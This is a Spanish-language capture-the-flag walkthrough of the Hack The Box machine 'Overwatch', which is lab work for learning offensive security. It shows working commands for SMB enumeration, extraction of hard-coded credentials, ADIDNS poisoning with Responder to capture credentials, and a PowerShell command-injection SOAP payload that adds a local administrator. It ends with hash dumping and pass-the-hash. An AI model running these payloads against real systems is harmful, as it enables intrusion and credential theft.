Overwatch WriteUp
Table of Contents
Overwatch es una máquina de dificultad 🟧 Media de la plataforma Hack The Box. La cadena de ataque pasa por enumerar un share SMB accesible sin autenticación para obtener un binario .NET con credenciales embebidas, conectarse a un servidor MSSQL en puerto no estándar para descubrir un linked server mal configurado, envenenar el DNS del dominio (ADIDNS) para interceptar el hash NTLMv2 de una cuenta de servicio, acceder vía WinRM y escalar privilegios abusando de un servicio WCF interno con inyección de comandos en el método KillProcess.
🗺️ Cadena de Ataque
Reconocimiento → AD DC, puertos 88, 389, 445, 5985, 6520
│
▼
SMB Guest session → software$ → overwatch.exe → ilspycmd → sqlsvc:TI0LKcfHzZw1Vv
│
▼
MSSQL :6520 → linked server SQL07 → ADIDNS poisoning (SQL07 → attacker)
│
▼
Responder → credenciales cleartext MSSQL → sqlmgmt:bIhBbzMMnB82yx
│
▼
evil-winrm sqlmgmt → user.txt
│
▼
WCF MonitorService localhost:8000 → KillProcess injection → net user /add
│
▼
impacket-secretsdump → Administrator hash → PTH → root.txt 🏴
🔍 Reconocimiento
Configuración de /etc/hosts
echo "10.129.41.13 overwatch.htb" | sudo tee -a /etc/hosts
Escaneo de Puertos
Fase 1 — Descubrimiento rápido de puertos TCP:
sudo nmap -p- --open -Pn --min-rate 5000 -oA ports -vvv overwatch.htb
Fase 2 — Detección de versiones y scripts:
grep -oP '\d+/open' ports.gnmap | cut -d'/' -f1 | sort -u | tr '\n' ',' | sed 's/,$//' > ports.txt
sudo nmap -sCV -p$(cat ports.txt) -Pn -oA scan -vvv overwatch.htb
| Puerto | Servicio | Detalle |
|---|---|---|
53 | DNS | Simple DNS Plus |
88 | Kerberos | Microsoft Kerberos |
135 | RPC | Microsoft RPC |
139 | NetBIOS | NetBIOS Session Service |
389 | LDAP | Active Directory LDAP |
445 | SMB | Microsoft SMB |
636 | LDAPS | LDAP sobre TLS |
3268 | LDAP | Global Catalog |
3389 | RDP | Microsoft Remote Desktop |
5985 | WinRM | Microsoft HTTPAPI 2.0 |
6520 | MSSQL | SQL Server 2022 Express |
8000 | HTTP | WCF MonitoringService |
9389 | .NET | AD Web Services (.NET MF) |
💡 El puerto
6520es inusual para MSSQL (el estándar es 1433) — instanciaSQLEXPRESSen puerto no estándar. Es fácil pasarlo por alto si se interrumpe la fase 1 antes de que termine: hay que dejar correr el-p-completo. Si no aparece, confirma con:sudo nmap -p 6520 -sV overwatch.htb
💉 Acceso Inicial
Enumeración SMB — Acceso como Guest
Comprobamos si hay shares accesibles con la cuenta guest:
netexec smb overwatch.htb -u 'guest' -p '' --shares
Share Permissions Remark
----- ----------- ------
ADMIN$ Remote Admin
C$ Default share
IPC$ READ Remote IPC
software$ READ Software Repository
🎯 El share
software$es accesible con la cuenta guest. Lo descargamos completo:
smbclient //overwatch.htb/software$ -U 'guest%' -c 'prompt OFF; recurse ON; mget *'
getting file \Monitoring\overwatch.exe
getting file \Monitoring\overwatch.dll
getting file \Monitoring\overwatch.runtimeconfig.json
Ingeniería Inversa del Binario .NET
El binario overwatch.exe es un ensamblado .NET. Lo decompilamos con ilspycmd:
dotnet tool install ilspycmd -g --version 8.2.0.7535
~/.dotnet/tools/ilspycmd overwatch.exe -o overwatch_src/
En overwatch.decompiled.cs encontramos credenciales embebidas en texto plano para la conexión a la base de datos, y la definición completa del servicio WCF:
[ServiceContract]
public interface IMonitoringService
{
[OperationContract] string StartMonitoring();
[OperationContract] string StopMonitoring();
[OperationContract] string KillProcess(string processName);
}
public class MonitoringService : IMonitoringService
{
private readonly string connectionString = "Server=localhost;Database=SecurityLogs;User Id=sqlsvc;Password=TI0LKcfHzZw1Vv;";
public string KillProcess(string processName)
{
string scriptContents = "Stop-Process -Name " + processName + " -Force";
// ...ejecuta scriptContents en un Runspace de PowerShell y devuelve la salida
}
}
🎯 Credenciales obtenidas:
sqlsvc:TI0LKcfHzZw1Vv
🧠 Embeber credenciales en binarios compilados es un error común en aplicaciones corporativas. Los ensamblados .NET son trivialmente decompiables — el código fuente queda expuesto por completo. Además, el código revela la existencia de un servicio WCF (
IMonitoringService) con un métodoKillProcessque construye un comando PowerShell concatenando directamente la entrada del usuario, sin ninguna validación.
Enumeración LDAP
Con las credenciales de sqlsvc enumeramos el dominio:
ldapsearch -x -H ldap://overwatch.htb \
-D 'sqlsvc@overwatch.htb' -w 'TI0LKcfHzZw1Vv' \
-b 'DC=overwatch,DC=htb' '(objectClass=user)' sAMAccountName
Identificamos las cuentas de servicio relevantes: sqlsvc y sqlmgmt.
Acceso MSSQL y Enumeración de Linked Servers
Nos conectamos al servidor MSSQL en el puerto no estándar:
impacket-mssqlclient 'overwatch.htb/sqlsvc:TI0LKcfHzZw1Vv@10.129.41.13' \
-port 6520 -windows-auth
Enumeramos los linked servers configurados:
SQL> enum_links
SRV_NAME SRV_PROVIDERNAME SRV_PRODUCT SRV_DATASOURCE
-------- ---------------- ----------- --------------
SQL07 SQLNCLI SQL Server SQL07
🎯 El linked server
SQL07está configurado para conectarse a otro servidor por nombre. Si envenenamos la resolución DNS deSQL07para apuntar a nuestra IP, el servidor MSSQL intentará autenticarse con nosotros — y como usa SQL Server Authentication, las credenciales llegarán en texto claro.
Envenenamiento ADIDNS
🧠 ADIDNS (Active Directory Integrated DNS) permite a usuarios autenticados del dominio añadir registros DNS en zonas integradas con AD, siempre que no exista ya un registro con ese nombre. Los permisos de creación están abiertos por defecto para todos los usuarios del dominio, lo que convierte esto en un vector de ataque habitual para interceptar tráfico interno.
Añadimos un registro A para SQL07 apuntando a nuestra IP usando dnstool.py del toolkit krbrelayx:
python3 /usr/share/krbrelayx/dnstool.py \
-u 'overwatch.htb\sqlsvc' \
-p 'TI0LKcfHzZw1Vv' \
-r 'SQL07' \
-a add \
-d 10.10.14.100 \
-dns-ip 10.129.41.13 \
10.129.41.13
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Adding new record
[+] LDAP operation completed successfully
Iniciamos Responder para capturar la autenticación:
sudo responder -I tun0 -wv
Desde la sesión MSSQL disparamos la conexión al linked server:
SQL> EXEC ('SELECT 1') AT SQL07
[MSSQL] Received connection from 10.129.41.13
[MSSQL] Cleartext Client : 10.129.41.13
[MSSQL] Cleartext Hostname : SQL07 ()
[MSSQL] Cleartext Username : sqlmgmt
[MSSQL] Cleartext Password : bIhBbzMMnB82yx
🎯 Credenciales obtenidas en texto claro:
sqlmgmt:bIhBbzMMnB82yx. El linked server usa SQL Server Authentication, no NTLM — Responder captura las credenciales directamente sin necesidad de crackear ningún hash.
Acceso WinRM como sqlmgmt
evil-winrm -i overwatch.htb -u sqlmgmt -p 'bIhBbzMMnB82yx'
🚩 Flag de Usuario
type C:\Users\sqlmgmt\Desktop\user.txt
🔺 Escalada de Privilegios — WCF MonitorService
Descubrimiento del Servicio
Desde la shell de sqlmgmt comprobamos los puertos en escucha locales:
netstat -an | findstr LISTEN
TCP 0.0.0.0:5985 0.0.0.0:0 LISTENING
TCP 0.0.0.0:6520 0.0.0.0:0 LISTENING
TCP 0.0.0.0:8000 0.0.0.0:0 LISTENING
TCP 0.0.0.0:9389 0.0.0.0:0 LISTENING
🎯 El puerto
8000escucha en0.0.0.0pero el firewall bloquea el acceso externo — hay que interactuar con él desde la propia shell desqlmgmtusando127.0.0.1.
Enumeración del Servicio WCF
🧠 WCF (Windows Communication Foundation) es el framework .NET para crear servicios de red. Los servicios WCF exponen su contrato mediante un fichero WSDL que describe los métodos disponibles y los tipos de datos esperados. Con debug habilitado, los errores del backend se devuelven en la respuesta SOAP — esto puede convertirse en un canal de exfiltración de datos.
Obtenemos el WSDL desde la shell de sqlmgmt. El endpoint se llama MonitorService (sin ing), aunque la clase interna sea MonitoringService:
Invoke-WebRequest -Uri "http://127.0.0.1:8000/MonitorService?singleWsdl" -UseBasicParsing | Select-Object -ExpandProperty Content
El WSDL revela tres métodos en la interfaz IMonitoringService:
StartMonitoringStopMonitoringKillProcess← parámetroprocessNamesin validación
Explotación — Inyección de Comandos en KillProcess
Del código fuente ya conocemos la vulnerabilidad exacta. El método construye el script así:
string scriptContents = "Stop-Process -Name " + processName + " -Force";
El separador en PowerShell es ; — podemos inyectar comandos adicionales que se ejecutarán después de que Stop-Process falle con error no terminante (proceso inexistente):
Opción 1 — Crear usuario administrador local:
$soap = @"
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:tem="http://tempuri.org/">
<soap:Body>
<tem:KillProcess>
<tem:processName>fake; net user pwn Password123! /add; net localgroup administrators pwn /add #</tem:processName>
</tem:KillProcess>
</soap:Body>
</soap:Envelope>
"@
Invoke-WebRequest -Uri "http://127.0.0.1:8000/MonitorService" `
-Method POST -Body $soap `
-ContentType "text/xml; charset=utf-8" `
-UseBasicParsing `
-Headers @{"SOAPAction"='"http://tempuri.org/IMonitoringService/KillProcess"'}
🧠 El
#al final comenta el-Forceque el código añade tras el input, evitando un error de sintaxis en PowerShell.
Opción 2 — Leer la flag directamente vía la respuesta del servicio:
$soap = @"
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:tem="http://tempuri.org/">
<soap:Body>
<tem:KillProcess>
<tem:processName>fake; Get-Content C:\Users\Administrator\Desktop\root.txt #</tem:processName>
</tem:KillProcess>
</soap:Body>
</soap:Envelope>
"@
Invoke-WebRequest -Uri "http://127.0.0.1:8000/MonitorService" `
-Method POST -Body $soap `
-ContentType "text/xml; charset=utf-8" `
-UseBasicParsing `
-Headers @{"SOAPAction"='"http://tempuri.org/IMonitoringService/KillProcess"'}
El servicio devuelve la salida del pipeline PowerShell en la respuesta SOAP — el contenido del fichero aparece directamente en el XML de respuesta.
Volcado de Credenciales y Acceso como Administrador
Con el usuario pwn creado (opción 1), volcamos los hashes desde el atacante:
impacket-secretsdump 'overwatch.htb/pwn:Password123!@10.129.41.13'
Administrator:500:aad3b435b51404eeaad3b435b51404ee:269fa056205bbf5d47fc2c3682dbbce6:::
Accedemos como Administrador mediante pass-the-hash:
evil-winrm -i overwatch.htb -u Administrator -H '269fa056205bbf5d47fc2c3682dbbce6'
🏴 Flag de Root
type C:\Users\Administrator\Desktop\root.txt
📝 Resumen
| # | Técnica | Herramienta | Resultado |
|---|---|---|---|
| 1 | SMB Guest Session | netexec / smbclient | Share software$ → overwatch.exe |
| 2 | Ingeniería inversa .NET | ilspycmd | sqlsvc:TI0LKcfHzZw1Vv |
| 3 | MSSQL Linked Server | impacket-mssqlclient | Linked server SQL07 identificado |
| 4 | ADIDNS Poisoning + cleartext capture | dnstool.py + Responder | sqlmgmt:bIhBbzMMnB82yx en texto claro |
| 5 | WinRM | evil-winrm | Shell como sqlmgmt + user.txt |
| 6 | WCF KillProcess injection | PowerShell SOAP | Usuario admin local creado |
| 7 | Volcado de hashes | impacket-secretsdump | Hash Administrator |
| 8 | Pass-the-Hash | evil-winrm | Shell Administrator + root.txt |
Un saludo, nos vemos en el próximo challenge.
